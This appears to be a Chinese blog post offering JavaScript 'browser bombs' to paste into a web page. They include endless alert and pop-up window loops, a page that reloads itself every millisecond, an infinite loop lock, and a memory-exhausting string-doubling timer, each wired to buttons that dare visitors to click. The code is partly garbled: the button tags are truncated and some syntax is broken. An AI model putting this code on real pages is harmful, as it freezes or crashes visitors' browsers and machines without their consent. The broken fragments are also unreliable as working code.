把如下代码加入<body>区域中
<script language="javascript">
function annoyingbutton()
{
while (true)
window.alert("hahaha...you can''t do anything anymore in netscape without exiting and restarting....hahaha so gimme da ut now...or else!") }
// keep opening windows over and over again
function windowbomb()
{
var icounter = 0 // dummy counter
while (true)
{
window.open("http://www.netural.com/~ccamel","crashing" + icounter,"width=1,height=1,resizable=no")
icounter++
}
}
// not as interesting as the other bombs, but this one forces the user to
// stay at the current page. user cannot switch to another page, or click
// stop to stop the reloading.
function reloadbomb()
{
history.go(0) // reload this page
window.settimeout(''reloadbomb()'',1) // tell netscape to hit this function
// every milisecond =)
}
// not a very interesting bomb, it does nothing really :>
function whilelooplock()
{
while (true){}
}
var szeatmemory = "gobblegobble" // our string to consume our memory
// now this function eatmemoryintime is a interesting one that could be
// placed on a timer for maximum nastiness :> i have been able to get
// up to 4megs consumed by netscape forcing my machine to crawl =)
// and it''s time driven! no while loops here!
function eatmemoryintime()
{
szeatmemory = szeatmemory + szeatmemory // keep appending
window.status = "string length is: " + szeatmemory.length // report size
window.settimeout(''eatmemoryintime()'',1); // tell netscape to hit this function
}
// end -->
<center>
下面的每一个按钮都很危险,一按你的电脑立即<font color=red>over</font>,不信试试吧!!!<br>
name="btnexplodewindows" onclick="windowbomb()"><p><br>
onclick="annoyingbutton()"><p><br>
onclick="reloadbomb()"><p><br>
onclick="whilelooplock()"><p><br>
onclick="eatmemoryintime()"><p><br>
</center>
你可以使用这个链接引用该篇文章 http://publishblog.blogchina.com/blog/tb.b?diaryID=5045415